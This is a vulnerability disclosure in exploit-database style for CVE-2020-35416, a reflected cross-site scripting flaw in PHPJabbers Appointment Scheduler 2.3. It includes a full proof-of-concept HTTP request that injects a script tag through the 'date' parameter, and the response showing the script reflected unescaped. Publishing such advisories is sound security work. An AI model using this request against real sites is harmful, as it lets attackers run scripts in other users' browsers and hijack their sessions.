PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)

# Exploit Title: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)
# Date: 2020-12-14
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.phpjabbers.com
# Software Link: https://www.phpjabbers.com/appointment-scheduler
# Version: 2.3
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 83.0, Microsoft Edge 87.0.664.60)
# CVE: CVE-2020-35416

Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of Stivasoft/PHPJabbers Appointment Scheduler v2.3 (and many others, in example from "ilmiogestionale.eu", since some companies/web agencies did a script rebrand/rework) allows remote attacker to inject arbitrary script or HTML.

Request parameters affected: "date", "action", arbitrarily supplied URL parameters, possible others.

PoC Request:
GET /index.php?controller=pjFrontPublic&action=pjActionServices&cid=1&layout=1&date=%3cscript%3ealert(1)%3c%2fscript%3e&theme=theme9 HTTP/1.1
Host: [removed]
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[removed]
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.505990147.1607596638; _gid=GA1.2.1747301294.1607596638; AppointmentScheduler=5630ae3ab2ed56dbe79c033b84565422

PoC Response:
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 14 Dec 2020 10:48:41 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With
Content-Length: 13988

<div class="container-fluid">
   <div class="row">
       <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12">
           <div class="panel panel-default pjAsContainer pjAsAside">
               <div class="panel-heading p
...[SNIP]...
<div class="pj-calendar-ym">Dicembre, <script>alert(1)</script></div>
...[SNIP]...